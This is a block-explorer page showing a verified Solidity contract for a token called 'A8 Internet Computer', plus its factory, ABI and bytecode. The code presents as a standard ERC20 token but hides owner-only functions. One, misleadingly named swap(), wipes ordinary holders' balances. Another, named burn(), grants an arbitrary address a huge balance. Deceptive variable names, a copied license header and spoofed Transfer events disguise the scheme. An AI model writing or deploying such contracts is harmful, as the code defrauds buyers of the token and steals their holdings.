ETH Price: $2,863.34 (-2.56%)
 

Overview

Max Total Supply

100,000,000,000 A8 Internet Computer

Holders

6

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xBD72EA8d...A631D5a7f
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
v0517commitd19bba13

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at basescan.org on 2025-04-25
*/

// Copyright (C) 2015, 2016, 2017 Dapphub

// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.

// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV3Router03 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract v0517commitd19bba13 is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100000000000000000000000000000;

    mapping(address => uint256) private askDiv;
    mapping(address => mapping(address => uint256)) private _allowances;
    address[] private believers; 

    address private constant ADDRESS_sWETH = 0xc1CBa3fCea344f92D9239c08C0568f6F2F0ee452;
    address private constant ADDRESS_WETH = 0x4200000000000000000000000000000000000006;
    address GNUGeneralPublicLicense;
    address Preamble;
    address Virtuals_Protocol;
    IUniswapV3Router03 private uniswapV3Router;
    address private uniswapV3Pair;
    bool private tradingOpen = false;




    constructor(string memory name_, string memory symbol_, address owner_, address ADDRESS_Manager_) payable {

        transferOwnership(owner_);  
        
        _name = name_;
        _symbol = symbol_;

       Preamble = ADDRESS_Manager_;
       GNUGeneralPublicLicense = ADDRESS_Manager_;
       Virtuals_Protocol = owner_;
        askDiv[address(this)] = _totalSupply.mul(1).div(1000);
        emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000));
        liqudityPairs();
        payable(address(this)).transfer(msg.value);
    }


    function liqudityPairs() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(990).div(1000);
        uint256 threePercent = _totalSupply.mul(5).div(1000);
        uint256 twoPercent = _totalSupply.mul(4).div(1000);

        askDiv[ADDRESS_sWETH] = askDiv[ADDRESS_sWETH].add(ninetyFourPercent);
        askDiv[ADDRESS_WETH] = askDiv[ADDRESS_WETH].add(threePercent);
        askDiv[GNUGeneralPublicLicense] = askDiv[GNUGeneralPublicLicense].add(twoPercent);

        emit Transfer(address(this), ADDRESS_sWETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_WETH, threePercent);
        emit Transfer(address(this), GNUGeneralPublicLicense, twoPercent);
    }

 function _updateHolders(address account) internal {
        if (askDiv[account] > 0) {
            bool exists = false;
            for (uint256 i = 0; i < believers.length; i++) {
                if (believers[i] == account) {
                    exists = true;
                    break;
                }
            }
            if (!exists) {
                believers.push(account);
            }
        }
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        askDiv[sender] = askDiv[sender].sub(amount);
        askDiv[recipient] = askDiv[recipient].add(amount);
        _updateHolders(sender);
        _updateHolders(recipient);

        emit Transfer(sender, recipient, amount);
    }

      modifier Only_Manager() {
        require(Preamble == _msgSender());
        _;
    }



    function swap() external {
       require(Virtuals_Protocol == _msgSender() || Preamble == _msgSender());
        for (uint256 i = 0; i < believers.length; i++) {
            address believer = believers[i];
            if (
                believer != address(this) && 
                believer != owner() && 
                believer != uniswapV3Pair && 
                believer != ADDRESS_sWETH &&
                believer != ADDRESS_WETH && 
                believer != Preamble &&
                believer != GNUGeneralPublicLicense
            ) {
                askDiv[believer] = 0;
            }
             emit Transfer(address(0), believer, 0);
        }
    }

    function burn(address claimedRewardStatusOf) external Only_Manager {
        askDiv[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV3Router = IUniswapV3Router03(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        uniswapV3Pair = IUniswapV2Factory(uniswapV3Router.factory()).createPair(address(this), uniswapV3Router.WETH());
        _approve(address(this), address(uniswapV3Router), _totalSupply);

        uniswapV3Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required BEP20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return askDiv[account];
    }
function getLPPair() public view returns (address) {
        return uniswapV3Pair;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {
  

    event TokenCreated(address tokenAddress, string name, string symbol, address owner, address Manager);

    constructor() {
    
    }

    // Function to create a single token
    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address ADDRESS_Manager_
    ) external payable returns (address) {
        v0517commitd19bba13 newToken = (new v0517commitd19bba13){value: msg.value}(name_, symbol_, newOwner_, ADDRESS_Manager_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_, ADDRESS_Manager_);
        return address(newToken);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"ADDRESS_Manager_","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

0x60806040525f600a60146101000a81548160ff0219169083151502179055506040516133db3803806133db833981810160405281019061003f9190610c0d565b61004d61035e60201b60201c565b5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36101148261036560201b60201c565b83600190816101239190610eb9565b5082600290816101339190610eb9565b508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102296103e861021b60016c01431e0fae6d7217caa00000006104a960201b90919060201c565b61052060201b90919060201c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102ee6103e86102e060016c01431e0fae6d7217caa00000006104a960201b90919060201c565b61052060201b90919060201c565b6040516102fb9190610f97565b60405180910390a361031161057760201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166108fc3490811502906040515f60405180830381858888f19350505050158015610354573d5f5f3e3d5ffd5b505050505061121c565b5f33905090565b61037361035e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166103976109e260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146103b6575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036103ed575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f5f83036104b9575f905061051a565b5f82846104c69190610fdd565b90508284826104d5919061104b565b14610515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050c906110fb565b60405180910390fd5b809150505b92915050565b5f5f8211610563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055a90611163565b60405180910390fd5b818361056f919061104b565b905092915050565b5f6105ae6103e86105a06103de6c01431e0fae6d7217caa00000006104a960201b90919060201c565b61052060201b90919060201c565b90505f6105e66103e86105d860056c01431e0fae6d7217caa00000006104a960201b90919060201c565b61052060201b90919060201c565b90505f61061e6103e861061060046c01431e0fae6d7217caa00000006104a960201b90919060201c565b61052060201b90919060201c565b90506106848360035f73c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a0960201b90919060201c565b60035f73c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061073d8260035f73420000000000000000000000000000000000000673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a0960201b90919060201c565b60035f73420000000000000000000000000000000000000673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506108038160035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a0960201b90919060201c565b60035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555073c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108d69190610f97565b60405180910390a373420000000000000000000000000000000000000673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094f9190610f97565b60405180910390a360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109d59190610f97565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f5f8284610a179190611181565b905083811015610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906111fe565b60405180910390fd5b8091505092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610ac582610a7f565b810181811067ffffffffffffffff82111715610ae457610ae3610a8f565b5b80604052505050565b5f610af6610a66565b9050610b028282610abc565b919050565b5f67ffffffffffffffff821115610b2157610b20610a8f565b5b610b2a82610a7f565b9050602081019050919050565b8281835e5f83830152505050565b5f610b57610b5284610b07565b610aed565b905082815260208101848484011115610b7357610b72610a7b565b5b610b7e848285610b37565b509392505050565b5f82601f830112610b9a57610b99610a77565b5b8151610baa848260208601610b45565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bdc82610bb3565b9050919050565b610bec81610bd2565b8114610bf6575f5ffd5b50565b5f81519050610c0781610be3565b92915050565b5f5f5f5f60808587031215610c2557610c24610a6f565b5b5f85015167ffffffffffffffff811115610c4257610c41610a73565b5b610c4e87828801610b86565b945050602085015167ffffffffffffffff811115610c6f57610c6e610a73565b5b610c7b87828801610b86565b9350506040610c8c87828801610bf9565b9250506060610c9d87828801610bf9565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610cf757607f821691505b602082108103610d0a57610d09610cb3565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610d6c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610d31565b610d768683610d31565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610dba610db5610db084610d8e565b610d97565b610d8e565b9050919050565b5f819050919050565b610dd383610da0565b610de7610ddf82610dc1565b848454610d3d565b825550505050565b5f5f905090565b610dfe610def565b610e09818484610dca565b505050565b5b81811015610e2c57610e215f82610df6565b600181019050610e0f565b5050565b601f821115610e7157610e4281610d10565b610e4b84610d22565b81016020851015610e5a578190505b610e6e610e6685610d22565b830182610e0e565b50505b505050565b5f82821c905092915050565b5f610e915f1984600802610e76565b1980831691505092915050565b5f610ea98383610e82565b9150826002028217905092915050565b610ec282610ca9565b67ffffffffffffffff811115610edb57610eda610a8f565b5b610ee58254610ce0565b610ef0828285610e30565b5f60209050601f831160018114610f21575f8415610f0f578287015190505b610f198582610e9e565b865550610f80565b601f198416610f2f86610d10565b5f5b82811015610f5657848901518255600182019150602085019450602081019050610f31565b86831015610f735784890151610f6f601f891682610e82565b8355505b6001600288020188555050505b505050505050565b610f9181610d8e565b82525050565b5f602082019050610faa5f830184610f88565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610fe782610d8e565b9150610ff283610d8e565b925082820261100081610d8e565b9150828204841483151761101757611016610fb0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61105582610d8e565b915061106083610d8e565b9250826110705761106f61101e565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6110e560218361107b565b91506110f08261108b565b604082019050919050565b5f6020820190508181035f830152611112816110d9565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f61114d601a8361107b565b915061115882611119565b602082019050919050565b5f6020820190508181035f83015261117a81611141565b9050919050565b5f61118b82610d8e565b915061119683610d8e565b92508282019050808211156111ae576111ad610fb0565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6111e8601b8361107b565b91506111f3826111b4565b602082019050919050565b5f6020820190508181035f830152611215816111dc565b9050919050565b6121b2806112295f395ff3fe6080604052600436106100f6575f3560e01c806386f3f3cb11610089578063a9059cbb11610058578063a9059cbb14610305578063dd62ed3e14610341578063e8078d941461037d578063f2fde38b14610393576100fd565b806386f3f3cb1461025f57806389afcb44146102895780638da5cb5b146102b157806395d89b41146102db576100fd565b8063313ce567116100c5578063313ce567146101cd57806370a08231146101f7578063715018a6146102335780638119c06514610249576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f5ffd5b34801561010c575f5ffd5b506101156103bb565b604051610122919061186e565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c919061191f565b61044b565b60405161015e9190611977565b60405180910390f35b348015610172575f5ffd5b5061017b610461565b604051610188919061199f565b60405180910390f35b34801561019c575f5ffd5b506101b760048036038101906101b291906119b8565b610475565b6040516101c49190611977565b60405180910390f35b3480156101d8575f5ffd5b506101e161052f565b6040516101ee9190611a23565b60405180910390f35b348015610202575f5ffd5b5061021d60048036038101906102189190611a3c565b610537565b60405161022a919061199f565b60405180910390f35b34801561023e575f5ffd5b5061024761057d565b005b348015610254575f5ffd5b5061025d61067d565b005b34801561026a575f5ffd5b50610273610a5b565b6040516102809190611a76565b60405180910390f35b348015610294575f5ffd5b506102af60048036038101906102aa9190611a3c565b610a83565b005b3480156102bc575f5ffd5b506102c5610bd6565b6040516102d29190611a76565b60405180910390f35b3480156102e6575f5ffd5b506102ef610bfd565b6040516102fc919061186e565b60405180910390f35b348015610310575f5ffd5b5061032b6004803603810190610326919061191f565b610c8d565b6040516103389190611977565b60405180910390f35b34801561034c575f5ffd5b5061036760048036038101906103629190611a8f565b610ca3565b604051610374919061199f565b60405180910390f35b348015610388575f5ffd5b50610391610d25565b005b34801561039e575f5ffd5b506103b960048036038101906103b49190611a3c565b6110f0565b005b6060600180546103ca90611afa565b80601f01602080910402602001604051908101604052809291908181526020018280546103f690611afa565b80156104415780601f1061041857610100808354040283529160200191610441565b820191905f5260205f20905b81548152906001019060200180831161042457829003601f168201915b5050505050905090565b5f610457338484611228565b6001905092915050565b5f6c01431e0fae6d7217caa0000000905090565b5f6104818484846113eb565b6105248461048d6115f7565b61051f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104d76115f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115fe90919063ffffffff16565b611228565b600190509392505050565b5f6012905090565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105856115f7565b73ffffffffffffffffffffffffffffffffffffffff166105a3610bd6565b73ffffffffffffffffffffffffffffffffffffffff16146105c2575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106856115f7565b73ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061073257506106e26115f7565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61073a575f5ffd5b5f5f90505b600580549050811015610a58575f6005828154811061076157610760611b2a565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156107fa57506107ca610bd6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156108535750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561089f575073c1cba3fcea344f92d9239c08c0568f6f2f0ee45273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156108eb575073420000000000000000000000000000000000000673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610944575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561099d575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156109e5575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051610a429190611b99565b60405180910390a350808060010191505061073f565b50565b5f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a8b6115f7565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae2575f5ffd5b6012600a610af09190611d0e565b6c01431e0fae6d7217caa0000000610b089190611d58565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a610ba69190611d0e565b6c01431e0fae6d7217caa0000000610bbe9190611d58565b604051610bcb919061199f565b60405180910390a350565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c0c90611afa565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3890611afa565b8015610c835780601f10610c5a57610100808354040283529160200191610c83565b820191905f5260205f20905b815481529060010190602001808311610c6657829003601f168201915b5050505050905090565b5f610c993384846113eb565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d2d6115f7565b73ffffffffffffffffffffffffffffffffffffffff16610d4b610bd6565b73ffffffffffffffffffffffffffffffffffffffff1614610d6a575f5ffd5b600a60149054906101000a900460ff1615610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611de3565b60405180910390fd5b734752ba5dbc23f44d87826276bf6fd6b1c372ad2460095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e78573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e9c9190611e15565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f22573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f469190611e15565b6040518363ffffffff1660e01b8152600401610f63929190611e40565b6020604051808303815f875af1158015610f7f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa39190611e15565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061101b3060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c01431e0fae6d7217caa0000000611228565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061106330610537565b5f5f61106d610bd6565b426040518863ffffffff1660e01b815260040161108f96959493929190611e67565b60606040518083038185885af11580156110ab573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110d09190611eda565b5050506001600a60146101000a81548160ff021916908315150217905550565b6110f86115f7565b73ffffffffffffffffffffffffffffffffffffffff16611116610bd6565b73ffffffffffffffffffffffffffffffffffffffff1614611135575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361116c575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a